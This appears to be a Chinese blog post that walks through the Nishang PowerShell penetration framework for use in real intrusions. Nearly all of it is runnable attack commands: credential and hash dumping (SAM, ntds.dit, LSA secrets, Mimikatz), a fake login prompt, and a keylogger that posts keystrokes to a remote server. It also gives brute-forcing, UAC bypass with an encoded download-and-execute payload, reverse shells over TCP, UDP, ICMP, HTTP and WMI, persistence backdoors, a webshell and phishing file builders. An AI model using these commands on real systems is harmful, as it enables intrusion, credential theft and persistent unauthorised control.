APT404-不作恶

在路上,一直在路上!

Powershell 渗透框架[ Nishang ]



0x01 前言
    注意,powershell只能针对win7以后的系统使用,此之前的win系统是没有引入powershell的,powershell是什么这里就不废话了,大家请自行谷歌,在使用各种powrshell脚本过程中,系统权限自然也是越高越好,权限越大你能在系统中操作的范围就越广,至于为什么要选择powershell,想必大家早已心知肚明,免杀,可直接跟系统api交互,容易定制,轻量,远程加载执行,对目标系统的影响极小……好处众多,这里就不多啰嗦了,说破天,我们最终的目的还是希望能在实际渗透中把它用起来,不然,实际价值何在呢

0x02 关于nishang
    今天我们就先来看看第一款powershell渗透框架其实,个人觉得把它称为powershell渗透框架似乎更合适些,nishang [想必现在早已家喻户晓],关于nishang中的各个ps脚本的选项用法,在其脚本代码的最前面都有详细说明,使用前请务必仔细阅读,因为系统默认是禁止执行ps脚本的,所以实际用的时候后面都会带上bypass选项

1
2
Set-ExecutionPolicy Unrestricted  如果你得到的是一个交互式的ps shell,也可以用该命令来放开脚本执行限制
# powershell –exec bypass –Command "Get-Host | Select-Object Version" 查看当前powershell版本,有些脚本只能在指定的powershell版本中执行

0x03 首先,所有内网渗透的第一步,信息搜集[Gather]

检查当前机器是否为虚拟机:

1
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Check-VM.ps1';Check-VM}"

搜集当前机器的各种敏感信息,包括如下

1
2
3
4
5
6
7
8
9
10
11
12
13
当前系统中所登陆过的用户
putty连接过的内网的linux机器,保存的ssh会话以及最近使用过的命令
当前机器所开启的共享
系统环境变量配置
系统平台及操作系统位数
当前系统的用户及组信息
识别snmp默认团体字符串
系统中所安装的软件
机器所处的域
hosts文件内容,一般这个可用来发现内网中的其它机器
正在运行的服务
本机的账号密码策略
无线网卡信息

1
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Get-Information.ps1';Get-Information | Out-File info.txt}"

利用卷影拷贝服务[Volume Shadow Copy Service]转储本地的sam文件,如果是在域控上操作,它则会把ntds.dit和system.hiv一并导出来,如下图,ntds.dit文件默认位置是C:\Windows\system32\ntds.dit,如果ntds.dit不是在默认路径下,则要用-ntdsSource选项指明ntds.dit的位置,注意转储到的目录一定要能写,如果是域内用户比较少还好,用户量比较大的情况还是最好不要这种方式来导,之后从文件中把用户hash提取出来即可

1
2
这里我直接让它放到C盘根下,实际中你可以指定你自己想存放的位置
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Copy-VSS.ps1';Copy-VSS -DestinationDir c:\}"

扫描同内网中指定机器所开放的端口,它会根据你所给的端口一个个的遍历,速度可能会有点儿慢[似乎有点儿在逐个 telnet 的感觉]:

1
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\FireBuster.ps1';FireBuster 192.168.3.13 20-110 -Verbose}"

做出口测试用的,说实话,我真没想到它的具体利用场景

1
2
3
C:\>powershell -exec bypass
PS C:\> Import-Module C:\nishang\Gather\FireListener.ps1
PS C:\> FireListener -portrange 80-83

从HKLM中提取lsa证书秘钥,说白点儿就是里面存了各种账号密码,注意可能需要system权限且powershell要在32位模式下运行,实际测试测试中,貌似光有管理权限还不够[没成功],不过类似的功能我们在实际渗透中我们完全可以用别的工具替代不用在这儿太过纠结:

1
# C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Get-LSASecret.ps1';Enable-DuplicateToken;Get-LSASecret}"

抓取本地用户的密码hash,注意权限务必要够,另外,记得要把你的cmd调宽一点,不然可能看不到完整结果,不过hash貌似又不对:

1
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Get-PassHashes.ps1';Get-PassHashes -PSObjectFormat | Out-File hash.txt}"

获取本地用户的密码提示:

1
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Get-PassHints.ps1';Get-PassHints}"

从windows Vault[其实就是各类证书管理器,具体作用请自行谷歌]中获取各种web密码,该脚本要求在powershell 3.0(也就是win8以后的系统)以上执行,还是那句话,权限必须要够,比较遗憾,本地实际测试中并未成功读出来:

1
# Powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Get-WebCredentials.ps1';Get-WebCredentials}"

抓取当前机器的无线密码 前提是当前系统中要有正在使用的无线网卡才行,不过,这种方式对个人机来说还是挺有用价值的:

1
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Get-WLAN-Keys.ps1';Get-WLAN-Keys}"

简单的一些钓鱼模块,脚本执行以后它会一直弹出输入框,直到用户输入了正确的系统账号密码它才会自动退出,最后会把刚刚用户输入的账号密码显示出来,当然啦,你一样可以把它直接存到文件中,为了给大家看的更直观些,就直接把它打印出来了

1
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Invoke-CredentialsPhish.ps1';Invoke-CredentialsPhish}"

powershell版的mimiktaz,关于mimikatz的用法,相必大家都早已非常熟练,这里就不废话了:

1
2
3
# reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1  2012加上这个还是有点儿问题
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Invoke-Mimikatz.ps1';Invoke-Mimikatz}" 尝试直接抓取当前系统用户的明文密码
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Invoke-Mimikatz.ps1';Invoke-Mimikatz -Command 'privilege::debug sekurlsa::wdigest exit'}" 执行自定义mimikatz内置指令

强制登出系统中当前正处于登陆状态的用户,然后截获其再次登陆时的明文密码,有点儿劫持winlogon.exe进程的意思,但实际中多次折腾都并未成功,如果有谁成功了,麻烦也告诉本人一声,好知道到底是哪里出了问题,我比较懒,抽空容我再看看代码:

1
2
3
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Invoke-MimikatzWDigestDowngrade.ps1';Invoke-MimikatzWDigestDowngrade}" 强制锁定系统,然后强迫用户重新登陆
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Invoke-MimikatzWDigestDowngrade.ps1';Get-Job | Receive-Job}"
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Invoke-MimikatzWDigestDowngrade.ps1';Invoke-MimikatzWDigestDowngrade -RDP}"

利用ReadProcessMemory()函数从内存中提取敏感数据,主要用来抓取内存中的各种网站登陆密码,实际测试过程中有时会卡死,拖慢系统,最重要的是,并没有抓到什么有价值的东西:

1
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Invoke-Mimikittenz.ps1';Invoke-mimikittenz}"

利用无线的ssid提取用户凭据,看作者介绍似乎非常实用[可能境外特殊的环境所致吧],原理暂时还没弄太明白,正在仔细学习中,后续会把模块单独拿出来说明

1
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Invoke-SSIDExfil.ps1';Invoke-SSIDExfil}"

键盘记录,实际测试中还有些问题,正在看……

1
2
3
4
PS C:\nishang\Gather> .\Keylogger.ps1 -CheckURL http://http://192.168.3.23/drupal-7.54 -MagicString pass 检查所给的网页中是否包含自己所给的关键字[admin],如果有就停止记录,记录会被保存在当前用户的temp目录下的key.log文件中, 
PS > .\Keylogger.ps1 -CheckURL http://http://192.168.3.23/drupal-7.54 -MagicString pass -exfil -ExfilOption WebServer -URL http://192.168.3.251/res.php 直接把记录结果发到远程服务器,用POST接收下即可
PS > .\Keylogger.ps1 -persist 持续记录
PS C:\nishang\Gather> Parse_Keys .\key.log .\plains.txt 就可以还原记录内容了

0x04 内网端口扫描及服务爆破[scan][目前只支持mssql,ftp,web,activedirectory爆破]

首先,来看端口扫描,可以直接把要扫的端口都事先写在代码里面,不用非要手工指定,麻烦,又显示不全[还是记得把cmd调宽一些然后存到文件中会好点],实际中也并不建议一下子扫很多,比如你想找sa,只需要指定1433即可,搞定了以后把hash抓一下,也许这事儿就成了,没必要一直扫,还容易触发报警

1
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Scan\Invoke-PortScan.ps1';Invoke-PortScan -StartAddress 192.168.3.1 -EndAddress 192.168.3.150 -ScanPort -port 21,22,443,445,3306,3389,1433}"

服务爆破,目前貌似只支持mssql,ftp,域[ActiveDirectory]和web

1
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Scan\Invoke-BruteForce.ps1';Invoke-BruteForce -ComputerName 2008R2DC -UserList C:\user.txt -PasswordList C:\pass.txt -Service SQL -Verbose}"  爆破mssql的sa

1
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Scan\Invoke-BruteForce.ps1';Invoke-BruteForce -ComputerName 2008R2DC -UserList C:\user.txt -PasswordList C:\pass.txt -Service FTP -Verbose}"  爆破ftp

1
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Scan\Invoke-BruteForce.ps1';Invoke-BruteForce -ComputerName 2008R2DC -UserList C:\user.txt -PasswordList C:\pass.txt -Service ActiveDirectory -Verbose}"  爆破域内指定账户密码

0x05 提权相关[Escalation]
窃取令牌

1
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Escalation\Enable-DuplicateToken.ps1';Enable-DuplicateToken}"

尝试bypassUAC,并弹回一个高权限的meterpreter的shell[dll可自定义],可指定不同的bypass方法,更多方法请自行参考脚本说明,这里的payload我是直接用msf生成的,为了避免单双引号的问题,记得把它编码下,实际测试中貌似并没有成功,是我编码的问题吗

1
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Escalation\Invoke-PsUACme.ps1';Invoke-PsUACme -method oobe -Payload 'powershell -windowstyle hidden -e cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJAB3AD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAkAHcALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJAB3AC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsASQBFAFgAIAAkAHcALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADMALgA2ADoAOAAwADgAMAAvAGMAaAAxAFEAVgBEAGUAWAAnACkAOwAKAA=='}"

卸载目标系统中指定的补丁,比如,可以尝试卸载一两个可直接用于提权的补丁,情不得已的情况下,我们也许还可以通过这种方式来快速拿回机器权限

1
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Escalation\Remove-Update.ps1';Remove-Update KB976902}"

0x06 各种执行系统指令的方式,其实挺实用的,但我自己没成功,确实挺遗憾的[Execution]

利用powershell以文本的格式下载可执行文件,然后再自动转换成可执行格式并执行,下载者? 测了很多次都没成功,不太明白它的意思是直接提供一个可执行文件还是shellcode?

1
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Execution\Download_Execute.ps1';Download_Execute http://192.168.3.122/shell.txt}"

下载并执行指定ps脚本

1
# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Execution\Download-Execute-PS.ps1';Download-Execute-PS http://192.168.3.122/psshell.ps1  -nodownload}"

利用sa在内网中快速提权种马,这个可能需要交互,连接成功后你可以选择要返回一个什么样的shell,跟sqltools很像[自己用的比较少],基本都是靠这个小脚本,方便,灵活,隐蔽,稳定,小巧,绝逼好用

1
2
3
PS C:\> Set-ExecutionPolicy Unrestricted
PS C:\> Import-Module C:\nishang\Execution\Execute-Command-MSSQL.ps1
PS C:\> Execute-Command-MSSQL -ComputerName 2012R2DC -UserName sa -Password admin 实际渗透中可以用ip代替机器名

利用dns txt 执行shellcode,有些还不是很通透,正在努力学习中……

1
Execute-DNSTXT-Code.ps1

利用rundll32执行各种payload和系统指令以及bypass AppLocker,多次测试均未果,是不是想起了什么呢,没错jsrat呢,嘿嘿……

1
2
3
# nc -lvp 443 -u
PS C:\> Import-Module C:\nishang\Execution\Out-RundllCommand.ps1
PS C:\> Out-RundllCommand -PayloadURL http://192.168.3.251/Invoke-PowerShellUdp.ps1 -Arguments "Invoke-PowerShellUdp -Reverse -IPAddress 192.168.3.251 -Port 53"

0x07 所支持的一些shell种类,至于是不是真正走的某种协议,自己拿wireshark看下就知道,篇幅原因,我就不扯的太多[Shells]

通过 regsvr32.exe 弹shell,脚本执行完以后会生成payload代码,然后把该代码拿到目标机器上去执行即可得到一个反向shell,实际测试未通过

1
2
PS C:\> Import-Module C:\nishang\Shells\Invoke-JSRatRegsvr.ps1
PS C:\> Invoke-JSRatRegsrv -IPAddress 192.168.3.23 -Port 808

通过 rundll32.exe 弹shell,依然未成功

1
2
PS C:\> Import-Module C:\nishang\Shells\Invoke-JSRatRundll.ps1
PS C:\> Invoke-JSRatRundll -IPAddress 192.168.3.23 -Port 808

通过http弹shell,可以看到成功以后它会弹回一个ps的shell

1
2
PS C:\> Import-Module C:\nishang\Shells\Invoke-PoshRatHttp.ps1
PS C:\> Invoke-PoshRatHttp -IPAddress 192.168.3.23 -Port 808

通过https弹shell,加密shell,看样子数据是接到了,但shell没弹回来

1
2
PS C:\> Import-Module C:\nishang\Shells\Invoke-PoshRatHttps.ps1
PS C:\> Invoke-PoshRatHttps -IPAddress 192.168.3.23 -Port 8443

通过icmp弹shell,能ping的情况下可以尝试

1
2
3
# sysctl -w net.ipv4.icmp_echo_ignore_all=1
# python icmpsh_m.py 192.168.3.23 192.168.3.1
PS > Invoke-PowerShellIcmp -IPAddress 192.168.3.23

普通的tcp shell,有一点点错误,不过无伤大雅

1
2
本地机器执行:
C:\>nc -lvp 1234

1
2
3
远程机器执行:
PS C:\> Import-Module C:\nishang\Shells\Invoke-PowerShellTcp.ps1
PS C:\> Invoke-PowerShellTcp -Reverse -IPAddress 192.168.3.251 -Port 1234

通过udp弹shell,不知为何数据容易塞住

1
2
本地机器执行:
C:\>nc -lvp 53 -u


1
2
3
远程机器执行:
PS C:\> Import-Module C:\nishang\Shells\Invoke-PowerShellUdp.ps1
PS C:\> Invoke-PowerShellUdp -Reverse -IPAddress 192.168.3.251 -Port 53

通过wmi shell 其实你可以把它当成psexec的’powershell’版,非常实用,它支持不同的shell类型,可根据自己的实际需求选择

1
2
PS C:\> Import-Module C:\nishang\Shells\Invoke-PowerShellWmi.ps1
PS C:\> Invoke-PowerShellWmi -IPAddress 192.168.3.23 -UserName rootkit\administrator -ShellType Cmd

通过gmail向目标机器发送控制指令,会不会想起gcat或者gdog呢,嘿嘿……我们知道它是通过gmail来转储一堆json数据的,其实这俩脚本做的事情跟那个一样,因为不太稳定,实用性也不是非常大,这里就不详细说了,虽然邮箱密码不是我们的,但也不能太那啥……

1
2
Invoke-PsGcat.ps1 	向gmail发送数据
Invoke-PsGcatAgent.ps1 从gmail上取刚才发的数据

0x08 内网跳板,比较实用[Pivot]

Create-MultipleSessions.ps1[根据提供的口令批量检查内网的其它机器是否同样可用],本来是可以配合Run-EXEonRemote.ps1批量远程执行的,但实际测试中一直未成功,不过没关系,我们可以在检查完口令以后,再通过wce/mimikatz配合winexec的方式,批量种马也是一样的

1
2
PS C:\> Import-Module C:\nishang\Pivot\Create-MultipleSessions.ps1
PS C:\> Create-MultipleSessions -filename C:\hostname.txt -Creds 这儿会提示你输入账号密码,然后它会拿着这个账号到你hostname中指定的机器名上去挨个尝试

1
2
Invoke-NetworkRelay.ps1  其实就是转发,它同样也是利用netsh的方式进行转发的,关于更详细的利用netsh进行内网转发的,可以直接去看相关文章,这里就不再重复了
Invoke-NetworkRelay -Relay v4tov4 -ListenAddress 192.168.3.251 -Listenport 3389 -ConnectAddress 192.168.3.23 -ConnectPort 3387 -ComputerName 192.168.3.251233387转到2513389

0x09 留后门,比较简单,这里就不一一演示了[Backdoors]

1
2
Add-RegBackdoor.ps1 	劫持sethc.exe和utilman.exe,其实,就是古老的shift后门
PS C:\> Import-Module C:\nishang\Backdoors\Add-RegBackdoor.ps1



1
2
3
4
5
6
Add-ScrnSaveBackdoor.ps1   	通过屏保执行指令
DNS_TXT_Pwnage.ps1 dns后门,当然啦,你需要个dns服务器
Execute-OnTime.ps1 定时下载并执行ps 的payload,记得,加上persist选项就可以实现自启动了
Gupt-Backdoor.ps1 这绝对是个吊炸天的想法,挺佩服做着的脑洞的,赞,通过ssid来执行后门,后期会把这个和上面那个模块再单独拿出来说明
HTTP-Backdoor.ps1 就是个普通的ps版的下载者
Invoke-ADSBackdoor.ps1 配合meterpreter注入shellcode实现持久控制

0x10 ps版的webshell,免杀效果不错,能满足日常的上传下载命以及令执行[Antak-WebShell],记得改下账号密码即可

1
antak.aspx  aspx的webshell

0x11 下面是一些比较粗糙的钓鱼模块,关于office系列的就不说了吧,因为都要启用宏,比较鸡肋,成功率相对比较高的可能就下面这些了,自带的信内容肯定是不合适的,如果真想发信,自己根据实际需求改一下就好了

1
2
3
4
5
6
7
8
Out-CHM.ps1    
Out-HTA.ps1
Out-Java.ps1
Out-JS.ps1
Out-SCF.ps1
Out-SCT.ps1
Out-Shortcut.ps1
Out-WebQuery.ps1

0x12 如果想一键使用nishang中的所有功能[powerpreter],直接导入下面的模块即可

1
powerpreter.psm1

0x13 其它的一些辅助性的功能模块[Utility]

1
2
3
4
5
6
7
8
9
10
11
12
13
StringToBase64.ps1		base64编码
Base64ToString.ps1 base64解码
ConvertTo-ROT13.ps1 rot13加密
Download.ps1 下载文件
ExetoText.ps1 将可执行文件转换成文本
TexttoExe.ps1 将可文本转换成可执行文件
Invoke-Decode.ps1 解码
Invoke-Encode.ps1 编码
Parse_Keys.ps1 用来还原键盘记录中的内容
Start-CaptureServer.ps1 抓取smb的hash
Add-Persistence.ps1 加入自启动ps脚本,实现持久控制
Remove-Persistence.ps1 删除自启动ps脚本
Speak.ps1 最后再说个很有趣的小教本,让对方系统播放指定的语音

一点小结:
    不得不说,老外们的脑洞确实比我们大很多,虽然只是一款小工具,但带我们的思路确实无穷的,起码本人是受益颇多,对于win渗透来讲,powershell无疑就是最好而且纯天然的渗透工具,因为能直接跟系统api灵活接触,这一点是无可比拟的优势,所以还是很值得我们花大量的时间去研究学习的